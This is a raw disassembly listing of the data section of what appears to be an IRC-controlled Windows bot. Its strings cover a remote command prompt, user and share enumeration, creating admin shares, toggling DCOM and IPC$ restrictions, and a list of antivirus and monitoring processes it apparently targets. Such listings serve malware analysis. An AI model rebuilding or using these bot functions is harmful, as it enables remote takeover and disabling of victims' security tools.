aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 509845AEh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: 